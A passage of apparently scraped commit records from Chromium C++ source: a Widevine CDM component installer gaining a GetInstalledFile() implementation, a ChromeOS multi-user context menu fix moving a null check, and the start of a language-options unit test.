base::Version& version) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n content::PepperPluginInfo plugin_info;\n if (!MakeWidevineCdmPluginInfo(path, version, &plugin_info))\n return;\n\n PluginService::GetInstance()->RegisterInternalPlugin(\n plugin_info.ToWebPluginInfo(), true);\n PluginService::GetInstance()->RefreshPlugins();\n}\n\n\/\/ Returns true if this browser is compatible with the given Widevine CDM\n\/\/ manifest, with the version specified in the manifest in |version_out|.\nbool CheckWidevineCdmManifest(const base::DictionaryValue& manifest,\n base::Version* version_out) {\n std::string name;\n manifest.GetStringASCII(\"name\", &name);\n\n if (name != kWidevineCdmManifestName)\n return false;\n\n std::string proposed_version;\n manifest.GetStringASCII(\"version\", &proposed_version);\n base::Version version(proposed_version.c_str());\n if (!version.IsValid())\n return false;\n\n std::string os;\n manifest.GetStringASCII(\"x-widevine-cdm-os\", &os);\n if (os != kWidevineCdmOperatingSystem)\n return false;\n\n std::string arch;\n manifest.GetStringASCII(\"x-widevine-cdm-arch\", &arch);\n if (arch != kWidevineCdmArch)\n return false;\n\n *version_out = version;\n return true;\n}\n\nclass WidevineCdmComponentInstaller : public ComponentInstaller {\n public:\n explicit WidevineCdmComponentInstaller(const base::Version& version);\n virtual ~WidevineCdmComponentInstaller() {}\n\n virtual void OnUpdateError(int error) OVERRIDE;\n virtual bool Install(const base::DictionaryValue& manifest,\n const base::FilePath& unpack_path) OVERRIDE;\n\n virtual bool GetInstalledFile(const std::string& file,\n base::FilePath* installed_file) OVERRIDE;\n\n private:\n base::Version current_version_;\n};\n\nWidevineCdmComponentInstaller::WidevineCdmComponentInstaller(\n const base::Version& version)\n : current_version_(version) {\n DCHECK(version.IsValid());\n}\n\nvoid WidevineCdmComponentInstaller::OnUpdateError(int error) {\n NOTREACHED() << \"Widevine CDM update error: \" << error;\n}\n\nbool WidevineCdmComponentInstaller::Install(\n const base::DictionaryValue& manifest,\n const base::FilePath& unpack_path) {\n base::Version version;\n if (!CheckWidevineCdmManifest(manifest, &version))\n return false;\n if (current_version_.CompareTo(version) > 0)\n return false;\n\n if (!file_util::PathExists(unpack_path.AppendASCII(kWidevineCdmFileName)))\n return false;\n\n base::FilePath adapter_source_path;\n PathService::Get(chrome::FILE_WIDEVINE_CDM_ADAPTER, &adapter_source_path);\n if (!file_util::PathExists(adapter_source_path))\n return false;\n\n \/\/ Passed the basic tests. Time to install it.\n base::FilePath install_path =\n GetWidevineCdmBaseDirectory().AppendASCII(version.GetString());\n if (file_util::PathExists(install_path))\n return false;\n if (!file_util::Move(unpack_path, install_path))\n return false;\n\n base::FilePath adapter_install_path =\n install_path.AppendASCII(kWidevineCdmAdapterFileName);\n if (!file_util::CopyFile(adapter_source_path, adapter_install_path))\n return false;\n\n \/\/ Installation is done. Now register the Widevine CDM with chrome.\n current_version_ = version;\n BrowserThread::PostTask(BrowserThread::UI, FROM_HERE, base::Bind(\n &RegisterWidevineCdmWithChrome, adapter_install_path, version));\n return true;\n}\n\nbool WidevineCdmComponentInstaller::GetInstalledFile(\n const std::string& file, base::FilePath* installed_file) {\n return false;\n}\n\nvoid FinishWidevineCdmUpdateRegistration(ComponentUpdateService* cus,\n const base::Version& version) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n CrxComponent widevine_cdm;\n widevine_cdm.name = \"WidevineCdm\";\n widevine_cdm.installer = new WidevineCdmComponentInstaller(version);\n widevine_cdm.version = version;\n widevine_cdm.pk_hash.assign(kSha2Hash, &kSha2Hash[sizeof(kSha2Hash)]);\n if (cus->RegisterComponent(widevine_cdm) != ComponentUpdateService::kOk) {\n NOTREACHED() << \"Widevine CDM component registration failed.\";\n return;\n }\n}\n\nvoid StartWidevineCdmUpdateRegistration(ComponentUpdateService* cus) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n base::FilePath base_dir = GetWidevineCdmBaseDirectory();\n if (!file_util::PathExists(base_dir) &&\n !file_util::CreateDirectory(base_dir)) {\n NOTREACHED() << \"Could not create Widevine CDM directory.\";\n return;\n }\n\n base::FilePath latest_dir;\n base::Version version(kNullVersion);\n std::vector<base::FilePath> older_dirs;\n\n if (GetWidevineCdmDirectory(&latest_dir, &version, &older_dirs)) {\n base::FilePath adapter_path =\n latest_dir.AppendASCII(kWidevineCdmAdapterFileName);\n base::FilePath cdm_path = latest_dir.AppendASCII(kWidevineCdmFileName);\n\n if (file_util::PathExists(adapter_path) &&\n file_util::PathExists(cdm_path)) {\n BrowserThread::PostTask(\n BrowserThread::UI, FROM_HERE,\n base::Bind(&RegisterWidevineCdmWithChrome, adapter_path, version));\n } else {\n file_util::Delete(latest_dir, true);\n version = base::Version(kNullVersion);\n }\n }\n\n BrowserThread::PostTask(\n BrowserThread::UI, FROM_HERE,\n base::Bind(&FinishWidevineCdmUpdateRegistration, cus, version));\n\n \/\/ Remove older versions of Widevine CDM.\n for (std::vector<base::FilePath>::iterator iter = older_dirs.begin();\n iter != older_dirs.end(); ++iter) {\n file_util::Delete(*iter, true);\n }\n}\n\n#endif \/\/ defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n\n} \/\/ namespace\n\nvoid RegisterWidevineCdmComponent(ComponentUpdateService* cus) {\n#if defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n BrowserThread::PostTask(BrowserThread::FILE, FROM_HERE,\n base::Bind(&StartWidevineCdmUpdateRegistration, cus));\n#endif \/\/ defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n}\n<commit_msg>Implement GetInstalledFile() in WidevineCdmComponentInstaller.<commit_after>\/\/ Copyright (c) 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/component_updater\/widevine_cdm_component_installer.h\"\n\n#include <string.h>\n\n#include <vector>\n\n#include \"base\/base_paths.h\"\n#include \"base\/bind.h\"\n#include \"base\/command_line.h\"\n#include \"base\/compiler_specific.h\"\n#include \"base\/file_util.h\"\n#include \"base\/files\/file_enumerator.h\"\n#include \"base\/files\/file_path.h\"\n#include \"base\/logging.h\"\n#include \"base\/path_service.h\"\n#include \"base\/strings\/string_util.h\"\n#include \"base\/values.h\"\n#include \"base\/version.h\"\n#include \"build\/build_config.h\"\n#include \"chrome\/browser\/component_updater\/component_updater_service.h\"\n#include \"chrome\/browser\/plugins\/plugin_prefs.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/widevine_cdm_constants.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/browser\/plugin_service.h\"\n#include \"content\/public\/common\/pepper_plugin_info.h\"\n#include \"third_party\/widevine\/cdm\/widevine_cdm_common.h\"\n\n#include \"widevine_cdm_version.h\" \/\/ In SHARED_INTERMEDIATE_DIR.\n\nusing content::BrowserThread;\nusing content::PluginService;\n\nnamespace {\n\n\/\/ TODO(xhwang): Move duplicate code among all component installer\n\/\/ implementations to some common place.\n\n#if defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n\n\/\/ CRX hash. The extension id is: pdkaonnflpjcgibpgaanildgengnihcm.\nconst uint8 kSha2Hash[] = { 0xf3, 0xa0, 0xed, 0xd5, 0xbf, 0x92, 0x68, 0x1f,\n 0x60, 0x0d, 0x8b, 0x36, 0x4d, 0x6d, 0x87, 0x2c,\n 0x86, 0x61, 0x12, 0x20, 0x21, 0xf8, 0x94, 0xdd,\n 0xe1, 0xb6, 0xb4, 0x55, 0x34, 0x8c, 0x2e, 0x20 };\n\n\/\/ File name of the Widevine CDM component manifest on different platforms.\nconst char kWidevineCdmManifestName[] = \"WidevineCdm\";\n\n\/\/ Name of the Widevine CDM OS in the component manifest.\nconst char kWidevineCdmOperatingSystem[] =\n#if defined(OS_MACOSX)\n \"mac\";\n#elif defined(OS_WIN)\n \"win\";\n#else \/\/ OS_LINUX, etc. TODO(viettrungluu): Separate out Chrome OS and Android?\n \"linux\";\n#endif\n\n\/\/ Name of the Widevine CDM architecture in the component manifest.\nconst char kWidevineCdmArch[] =\n#if defined(ARCH_CPU_X86)\n \"ia32\";\n#elif defined(ARCH_CPU_X86_64)\n \"x64\";\n#else \/\/ TODO(viettrungluu): Support an ARM check?\n \"???\";\n#endif\n\n\/\/ If we don't have a Widevine CDM component, this is the version we claim.\nconst char kNullVersion[] = \"0.0.0.0\";\n\n\/\/ The base directory on Windows looks like:\n\/\/ <profile>\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\.\nbase::FilePath GetWidevineCdmBaseDirectory() {\n base::FilePath result;\n PathService::Get(chrome::DIR_COMPONENT_WIDEVINE_CDM, &result);\n return result;\n}\n\n\/\/ Widevine CDM has the version encoded in the path so we need to enumerate the\n\/\/ directories to find the full path.\n\/\/ On success, |latest_dir| returns something like:\n\/\/ <profile>\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\10.3.44.555\\.\n\/\/ |latest_version| returns the corresponding version number. |older_dirs|\n\/\/ returns directories of all older versions.\nbool GetWidevineCdmDirectory(base::FilePath* latest_dir,\n base::Version* latest_version,\n std::vector<base::FilePath>* older_dirs) {\n base::FilePath base_dir = GetWidevineCdmBaseDirectory();\n bool found = false;\n base::FileEnumerator file_enumerator(\n base_dir, false, base::FileEnumerator::DIRECTORIES);\n for (base::FilePath path = file_enumerator.Next(); !path.value().empty();\n path = file_enumerator.Next()) {\n base::Version version(path.BaseName().MaybeAsASCII());\n if (!version.IsValid())\n continue;\n if (found) {\n if (version.CompareTo(*latest_version) > 0) {\n older_dirs->push_back(*latest_dir);\n *latest_dir = path;\n *latest_version = version;\n } else {\n older_dirs->push_back(path);\n }\n } else {\n *latest_dir = path;\n *latest_version = version;\n found = true;\n }\n }\n return found;\n}\n\nbool MakeWidevineCdmPluginInfo(const base::FilePath& path,\n const base::Version& version,\n content::PepperPluginInfo* plugin_info) {\n if (!version.IsValid() ||\n version.components().size() !=\n static_cast<size_t>(kWidevineCdmVersionNumComponents)) {\n return false;\n }\n\n plugin_info->is_internal = false;\n \/\/ Widevine CDM must run out of process.\n plugin_info->is_out_of_process = true;\n plugin_info->path = path;\n plugin_info->name = kWidevineCdmDisplayName;\n plugin_info->description = kWidevineCdmDescription;\n plugin_info->version = version.GetString();\n webkit::WebPluginMimeType widevine_cdm_mime_type(\n kWidevineCdmPluginMimeType,\n kWidevineCdmPluginExtension,\n kWidevineCdmPluginMimeTypeDescription);\n plugin_info->mime_types.push_back(widevine_cdm_mime_type);\n plugin_info->permissions = kWidevineCdmPluginPermissions;\n\n return true;\n}\n\nvoid RegisterWidevineCdmWithChrome(const base::FilePath& path,\n const base::Version& version) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n content::PepperPluginInfo plugin_info;\n if (!MakeWidevineCdmPluginInfo(path, version, &plugin_info))\n return;\n\n PluginService::GetInstance()->RegisterInternalPlugin(\n plugin_info.ToWebPluginInfo(), true);\n PluginService::GetInstance()->RefreshPlugins();\n}\n\n\/\/ Returns true if this browser is compatible with the given Widevine CDM\n\/\/ manifest, with the version specified in the manifest in |version_out|.\nbool CheckWidevineCdmManifest(const base::DictionaryValue& manifest,\n base::Version* version_out) {\n std::string name;\n manifest.GetStringASCII(\"name\", &name);\n\n if (name != kWidevineCdmManifestName)\n return false;\n\n std::string proposed_version;\n manifest.GetStringASCII(\"version\", &proposed_version);\n base::Version version(proposed_version.c_str());\n if (!version.IsValid())\n return false;\n\n std::string os;\n manifest.GetStringASCII(\"x-widevine-cdm-os\", &os);\n if (os != kWidevineCdmOperatingSystem)\n return false;\n\n std::string arch;\n manifest.GetStringASCII(\"x-widevine-cdm-arch\", &arch);\n if (arch != kWidevineCdmArch)\n return false;\n\n *version_out = version;\n return true;\n}\n\nclass WidevineCdmComponentInstaller : public ComponentInstaller {\n public:\n explicit WidevineCdmComponentInstaller(const base::Version& version);\n virtual ~WidevineCdmComponentInstaller() {}\n\n virtual void OnUpdateError(int error) OVERRIDE;\n virtual bool Install(const base::DictionaryValue& manifest,\n const base::FilePath& unpack_path) OVERRIDE;\n\n virtual bool GetInstalledFile(const std::string& file,\n base::FilePath* installed_file) OVERRIDE;\n\n private:\n base::Version current_version_;\n};\n\nWidevineCdmComponentInstaller::WidevineCdmComponentInstaller(\n const base::Version& version)\n : current_version_(version) {\n DCHECK(version.IsValid());\n}\n\nvoid WidevineCdmComponentInstaller::OnUpdateError(int error) {\n NOTREACHED() << \"Widevine CDM update error: \" << error;\n}\n\nbool WidevineCdmComponentInstaller::Install(\n const base::DictionaryValue& manifest,\n const base::FilePath& unpack_path) {\n base::Version version;\n if (!CheckWidevineCdmManifest(manifest, &version))\n return false;\n if (current_version_.CompareTo(version) > 0)\n return false;\n\n if (!file_util::PathExists(unpack_path.AppendASCII(kWidevineCdmFileName)))\n return false;\n\n base::FilePath adapter_source_path;\n PathService::Get(chrome::FILE_WIDEVINE_CDM_ADAPTER, &adapter_source_path);\n if (!file_util::PathExists(adapter_source_path))\n return false;\n\n \/\/ Passed the basic tests. Time to install it.\n base::FilePath install_path =\n GetWidevineCdmBaseDirectory().AppendASCII(version.GetString());\n if (file_util::PathExists(install_path))\n return false;\n if (!file_util::Move(unpack_path, install_path))\n return false;\n\n base::FilePath adapter_install_path =\n install_path.AppendASCII(kWidevineCdmAdapterFileName);\n if (!file_util::CopyFile(adapter_source_path, adapter_install_path))\n return false;\n\n \/\/ Installation is done. Now register the Widevine CDM with chrome.\n current_version_ = version;\n BrowserThread::PostTask(BrowserThread::UI, FROM_HERE, base::Bind(\n &RegisterWidevineCdmWithChrome, adapter_install_path, version));\n return true;\n}\n\nbool WidevineCdmComponentInstaller::GetInstalledFile(\n const std::string& file, base::FilePath* installed_file) {\n \/\/ Only the CDM is component-updated.\n if (file != kWidevineCdmFileName)\n return false;\n\n if (current_version_.Equals(base::Version(kNullVersion)))\n return false; \/\/ No CDM has been installed yet.\n\n *installed_file =\n GetWidevineCdmBaseDirectory().AppendASCII(current_version_.GetString())\n .AppendASCII(kWidevineCdmFileName);\n return true;\n}\n\nvoid FinishWidevineCdmUpdateRegistration(ComponentUpdateService* cus,\n const base::Version& version) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n CrxComponent widevine_cdm;\n widevine_cdm.name = \"WidevineCdm\";\n widevine_cdm.installer = new WidevineCdmComponentInstaller(version);\n widevine_cdm.version = version;\n widevine_cdm.pk_hash.assign(kSha2Hash, &kSha2Hash[sizeof(kSha2Hash)]);\n if (cus->RegisterComponent(widevine_cdm) != ComponentUpdateService::kOk) {\n NOTREACHED() << \"Widevine CDM component registration failed.\";\n return;\n }\n}\n\nvoid StartWidevineCdmUpdateRegistration(ComponentUpdateService* cus) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n base::FilePath base_dir = GetWidevineCdmBaseDirectory();\n if (!file_util::PathExists(base_dir) &&\n !file_util::CreateDirectory(base_dir)) {\n NOTREACHED() << \"Could not create Widevine CDM directory.\";\n return;\n }\n\n base::FilePath latest_dir;\n base::Version version(kNullVersion);\n std::vector<base::FilePath> older_dirs;\n\n if (GetWidevineCdmDirectory(&latest_dir, &version, &older_dirs)) {\n base::FilePath adapter_path =\n latest_dir.AppendASCII(kWidevineCdmAdapterFileName);\n base::FilePath cdm_path = latest_dir.AppendASCII(kWidevineCdmFileName);\n\n if (file_util::PathExists(adapter_path) &&\n file_util::PathExists(cdm_path)) {\n BrowserThread::PostTask(\n BrowserThread::UI, FROM_HERE,\n base::Bind(&RegisterWidevineCdmWithChrome, adapter_path, version));\n } else {\n file_util::Delete(latest_dir, true);\n version = base::Version(kNullVersion);\n }\n }\n\n BrowserThread::PostTask(\n BrowserThread::UI, FROM_HERE,\n base::Bind(&FinishWidevineCdmUpdateRegistration, cus, version));\n\n \/\/ Remove older versions of Widevine CDM.\n for (std::vector<base::FilePath>::iterator iter = older_dirs.begin();\n iter != older_dirs.end(); ++iter) {\n file_util::Delete(*iter, true);\n }\n}\n\n#endif \/\/ defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n\n} \/\/ namespace\n\nvoid RegisterWidevineCdmComponent(ComponentUpdateService* cus) {\n#if defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n BrowserThread::PostTask(BrowserThread::FILE, FROM_HERE,\n base::Bind(&StartWidevineCdmUpdateRegistration, cus));\n#endif \/\/ defined(WIDEVINE_CDM_AVAILABLE) && defined(WIDEVINE_CDM_IS_COMPONENT)\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/ash\/multi_user\/multi_user_context_menu.h\"\n\n#include \"ash\/multi_profile_uma.h\"\n#include \"ash\/session_state_delegate.h\"\n#include \"ash\/shell.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/ui\/ash\/multi_user\/multi_user_util.h\"\n#include \"chrome\/browser\/ui\/ash\/multi_user\/multi_user_window_manager.h\"\n#include \"grit\/generated_resources.h\"\n#include \"ui\/aura\/window.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n#include \"ui\/base\/models\/simple_menu_model.h\"\n\nnamespace {\n\nclass MultiUserContextMenuChromeos : public ui::SimpleMenuModel,\n public ui::SimpleMenuModel::Delegate {\n public:\n explicit MultiUserContextMenuChromeos(aura::Window* window);\n virtual ~MultiUserContextMenuChromeos() {}\n\n \/\/ SimpleMenuModel::Delegate:\n virtual bool IsCommandIdChecked(int command_id) const OVERRIDE {\n return false;\n }\n virtual bool IsCommandIdEnabled(int command_id) const OVERRIDE {\n return true;\n }\n virtual bool GetAcceleratorForCommandId(\n int command_id,\n ui::Accelerator* accelerator) OVERRIDE {\n return false;\n }\n virtual void ExecuteCommand(int command_id, int event_flags) OVERRIDE;\n\n private:\n \/\/ The window for which this menu is.\n aura::Window* window_;\n\n DISALLOW_COPY_AND_ASSIGN(MultiUserContextMenuChromeos);\n};\n\nMultiUserContextMenuChromeos::MultiUserContextMenuChromeos(aura::Window* window)\n : ui::SimpleMenuModel(this),\n window_(window) {\n}\n\nvoid MultiUserContextMenuChromeos::ExecuteCommand(int command_id,\n int event_flags) {\n switch (command_id) {\n case IDC_VISIT_DESKTOP_OF_LRU_USER_2:\n case IDC_VISIT_DESKTOP_OF_LRU_USER_3: {\n ash::MultiProfileUMA::RecordTeleportAction(\n ash::MultiProfileUMA::TELEPORT_WINDOW_CAPTION_MENU);\n \/\/ When running the multi user mode on Chrome OS, windows can \"visit\"\n \/\/ another user's desktop.\n const std::string& user_id =\n ash::Shell::GetInstance()->session_state_delegate()->GetUserID(\n IDC_VISIT_DESKTOP_OF_LRU_USER_2 == command_id ? 1 : 2);\n chrome::MultiUserWindowManager::GetInstance()->ShowWindowForUser(\n window_,\n user_id);\n return;\n }\n default:\n NOTREACHED();\n }\n}\n\n} \/\/ namespace\n\nscoped_ptr<ui::MenuModel> CreateMultiUserContextMenu(\n aura::Window* window) {\n scoped_ptr<ui::MenuModel> model;\n ash::SessionStateDelegate* delegate =\n ash::Shell::GetInstance()->session_state_delegate();\n int logged_in_users = delegate->NumberOfLoggedInUsers();\n if (delegate && logged_in_users > 1) {\n \/\/ If this window is not owned, we don't show the menu addition.\n chrome::MultiUserWindowManager* manager =\n chrome::MultiUserWindowManager::GetInstance();\n const std::string user_id = manager->GetWindowOwner(window);\n if (user_id.empty() || !window ||\n manager->GetWindowOwner(window).empty())\n return model.Pass();\n MultiUserContextMenuChromeos* menu =\n new MultiUserContextMenuChromeos(window);\n model.reset(menu);\n for (int user_index = 1; user_index < logged_in_users; ++user_index) {\n menu->AddItem(\n user_index == 1 ? IDC_VISIT_DESKTOP_OF_LRU_USER_2 :\n IDC_VISIT_DESKTOP_OF_LRU_USER_3,\n l10n_util::GetStringFUTF16(\n IDS_VISIT_DESKTOP_OF_LRU_USER,\n delegate->GetUserDisplayName(user_index),\n base::ASCIIToUTF16(delegate->GetUserEmail(user_index))));\n }\n }\n return model.Pass();\n}\n<commit_msg>Move a null check before it's usage.<commit_after>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/ash\/multi_user\/multi_user_context_menu.h\"\n\n#include \"ash\/multi_profile_uma.h\"\n#include \"ash\/session_state_delegate.h\"\n#include \"ash\/shell.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/ui\/ash\/multi_user\/multi_user_util.h\"\n#include \"chrome\/browser\/ui\/ash\/multi_user\/multi_user_window_manager.h\"\n#include \"grit\/generated_resources.h\"\n#include \"ui\/aura\/window.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n#include \"ui\/base\/models\/simple_menu_model.h\"\n\nnamespace {\n\nclass MultiUserContextMenuChromeos : public ui::SimpleMenuModel,\n public ui::SimpleMenuModel::Delegate {\n public:\n explicit MultiUserContextMenuChromeos(aura::Window* window);\n virtual ~MultiUserContextMenuChromeos() {}\n\n \/\/ SimpleMenuModel::Delegate:\n virtual bool IsCommandIdChecked(int command_id) const OVERRIDE {\n return false;\n }\n virtual bool IsCommandIdEnabled(int command_id) const OVERRIDE {\n return true;\n }\n virtual bool GetAcceleratorForCommandId(\n int command_id,\n ui::Accelerator* accelerator) OVERRIDE {\n return false;\n }\n virtual void ExecuteCommand(int command_id, int event_flags) OVERRIDE;\n\n private:\n \/\/ The window for which this menu is.\n aura::Window* window_;\n\n DISALLOW_COPY_AND_ASSIGN(MultiUserContextMenuChromeos);\n};\n\nMultiUserContextMenuChromeos::MultiUserContextMenuChromeos(aura::Window* window)\n : ui::SimpleMenuModel(this),\n window_(window) {\n}\n\nvoid MultiUserContextMenuChromeos::ExecuteCommand(int command_id,\n int event_flags) {\n switch (command_id) {\n case IDC_VISIT_DESKTOP_OF_LRU_USER_2:\n case IDC_VISIT_DESKTOP_OF_LRU_USER_3: {\n ash::MultiProfileUMA::RecordTeleportAction(\n ash::MultiProfileUMA::TELEPORT_WINDOW_CAPTION_MENU);\n \/\/ When running the multi user mode on Chrome OS, windows can \"visit\"\n \/\/ another user's desktop.\n const std::string& user_id =\n ash::Shell::GetInstance()->session_state_delegate()->GetUserID(\n IDC_VISIT_DESKTOP_OF_LRU_USER_2 == command_id ? 1 : 2);\n chrome::MultiUserWindowManager::GetInstance()->ShowWindowForUser(\n window_,\n user_id);\n return;\n }\n default:\n NOTREACHED();\n }\n}\n\n} \/\/ namespace\n\nscoped_ptr<ui::MenuModel> CreateMultiUserContextMenu(\n aura::Window* window) {\n scoped_ptr<ui::MenuModel> model;\n ash::SessionStateDelegate* delegate =\n ash::Shell::GetInstance()->session_state_delegate();\n if (!delegate)\n return model.Pass();\n\n int logged_in_users = delegate->NumberOfLoggedInUsers();\n if (logged_in_users > 1) {\n \/\/ If this window is not owned, we don't show the menu addition.\n chrome::MultiUserWindowManager* manager =\n chrome::MultiUserWindowManager::GetInstance();\n const std::string user_id = manager->GetWindowOwner(window);\n if (user_id.empty() || !window ||\n manager->GetWindowOwner(window).empty())\n return model.Pass();\n MultiUserContextMenuChromeos* menu =\n new MultiUserContextMenuChromeos(window);\n model.reset(menu);\n for (int user_index = 1; user_index < logged_in_users; ++user_index) {\n menu->AddItem(\n user_index == 1 ? IDC_VISIT_DESKTOP_OF_LRU_USER_2 :\n IDC_VISIT_DESKTOP_OF_LRU_USER_3,\n l10n_util::GetStringFUTF16(\n IDS_VISIT_DESKTOP_OF_LRU_USER,\n delegate->GetUserDisplayName(user_index),\n base::ASCIIToUTF16(delegate->GetUserEmail(user_index))));\n }\n }\n return model.Pass();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/webui\/options\/language_options_handler.h\"\n\n#include <string>\n\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/values.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\n#if defined(OS_CHROMEOS)\n#include \"chrome\/browser\/chromeos\/cros\/cros_library.h\"\n#include \"chrome\/browser\/chromeos\/cros\/input_method_library.h\"\n#include \"chrome\/browser\/ui\/webui\/options\/chromeos\/cros_language_options_handler.h\"\n#endif \/\/ defined(OS_CHROMEOS)\n\n#if defined(OS_CHROMEOS)\nstatic chromeos::InputMethodDescriptors CreateInputMethodDescriptors() {\n chromeos::InputMethodDescriptors descriptors;\n descriptors.push_back(\n chromeos::InputMethodDescriptor(\"xkb:us::eng\", \"USA\", \"us\", \"eng\"));\n descriptors.push_back(\n chromeos::InputMethodDescriptor(\"xkb:fr::fra\", \"France\", \"fr\", \"fra\"));\n descriptors.push_back(\n chromeos::InputMethodDescriptor(\"xkb:be::fra\", \"Belgium\", \"be\", \"fr\"));\n descriptors.push_back(\n chromeos::InputMethodDescriptor(\"mozc\", \"Mozc (US keyboard layout)\", \"us\",\n \"ja\"));\n return descriptors;\n}\n\nTEST(LanguageOptionsHandlerTest, GetInputMethodList) {\n \/\/ Use the stub libcros. The object will take care of the cleanup.\n chromeos::ScopedStubCrosEnabler stub_cros_enabler;\n\n \/\/ Reset the library implementation so it will be initialized\n \/\/ again. Otherwise, non-stub implementation can be reused, if it's\n \/\/ already initialized elsewhere, which results in a crash.\n chromeos::CrosLibrary::Get()->GetTestApi()->SetInputMethodLibrary(NULL,\n false);\n\n chromeos::InputMethodDescriptors descriptors = CreateInputMethodDescriptors();\n scoped_ptr<ListValue> list(\n chromeos::CrosLanguageOptionsHandler::GetInputMethodList(descriptors));\n ASSERT_EQ(4U, list->GetSize());\n\n DictionaryValue* entry = NULL;\n DictionaryValue *language_code_set = NULL;\n std::string input_method_id;\n std::string display_name;\n std::string language_code;\n\n \/\/ As shown below, the list should be input method ids should appear in\n \/\/ the same order of the descriptors.\n ASSERT_TRUE(list->GetDictionary(0, &entry));\n ASSERT_TRUE(entry->GetString(\"id\", &input_method_id));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetDictionary(\"languageCodeSet\", &language_code_set));\n EXPECT_EQ(\"xkb:us::eng\", input_method_id);\n \/\/ Commented out as it depends on translation in generated_resources.grd\n \/\/ (i.e. makes the test fragile).\n \/\/ EXPECT_EQ(\"English (USA) keyboard layout\", display_name);\n ASSERT_TRUE(language_code_set->HasKey(\"en-US\"));\n ASSERT_TRUE(language_code_set->HasKey(\"id\")); \/\/ From kExtraLanguages.\n ASSERT_TRUE(language_code_set->HasKey(\"fil\")); \/\/ From kExtraLanguages.\n\n ASSERT_TRUE(list->GetDictionary(1, &entry));\n ASSERT_TRUE(entry->GetString(\"id\", &input_method_id));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetDictionary(\"languageCodeSet\", &language_code_set));\n EXPECT_EQ(\"xkb:fr::fra\", input_method_id);\n \/\/ Commented out. See above.\n \/\/ EXPECT_EQ(\"French keyboard layout\", display_name);\n ASSERT_TRUE(language_code_set->HasKey(\"fr\"));\n\n ASSERT_TRUE(list->GetDictionary(2, &entry));\n ASSERT_TRUE(entry->GetString(\"id\", &input_method_id));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetDictionary(\"languageCodeSet\", &language_code_set));\n EXPECT_EQ(\"xkb:be::fra\", input_method_id);\n \/\/ Commented out. See above.\n \/\/ EXPECT_EQ(\"Belgian keyboard layout\", display_name);\n ASSERT_TRUE(language_code_set->HasKey(\"fr\"));\n\n ASSERT_TRUE(list->GetDictionary(3, &entry));\n ASSERT_TRUE(entry->GetString(\"id\", &input_method_id));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetDictionary(\"languageCodeSet\", &language_code_set));\n EXPECT_EQ(\"mozc\", input_method_id);\n \/\/ Commented out. See above.\n \/\/ EXPECT_EQ(\"Japanese input method (for US keyboard)\", display_name);\n ASSERT_TRUE(language_code_set->HasKey(\"ja\"));\n}\n\nTEST(LanguageOptionsHandlerTest, GetLanguageList) {\n chromeos::InputMethodDescriptors descriptors = CreateInputMethodDescriptors();\n scoped_ptr<ListValue> list(\n chromeos::CrosLanguageOptionsHandler::GetLanguageList(descriptors));\n ASSERT_EQ(6U, list->GetSize());\n\n DictionaryValue* entry = NULL;\n std::string language_code;\n std::string display_name;\n std::string native_display_name;\n\n \/\/ As shown below, the list should be sorted by the display names,\n \/\/ and these names should not have duplicates.\n ASSERT_TRUE(list->GetDictionary(0, &entry));\n ASSERT_TRUE(entry->GetString(\"code\", &language_code));\n ASSERT_TRUE(entry->GetString(\"displayName\", &display_name));\n ASSERT_TRUE(entry->GetString(\"nativeDisplayName\", &native_display_name));\n EXPECT_EQ(\"en-US\", language_code);\n EXPECT_EQ(\"English (United States)\", display_name);\n EXPECT_EQ(\"English (United States)\", native_display_name);\n\n \/\/ This comes from kExtraLanguages.\n ASSERT_TRUE(list->GetDictionary(1, &entry));\n ASSERT_TRUE(entry->GetString(\"code\", &language_code));\n ASSERT_TRUE(entry->GetString(\"displayName\", 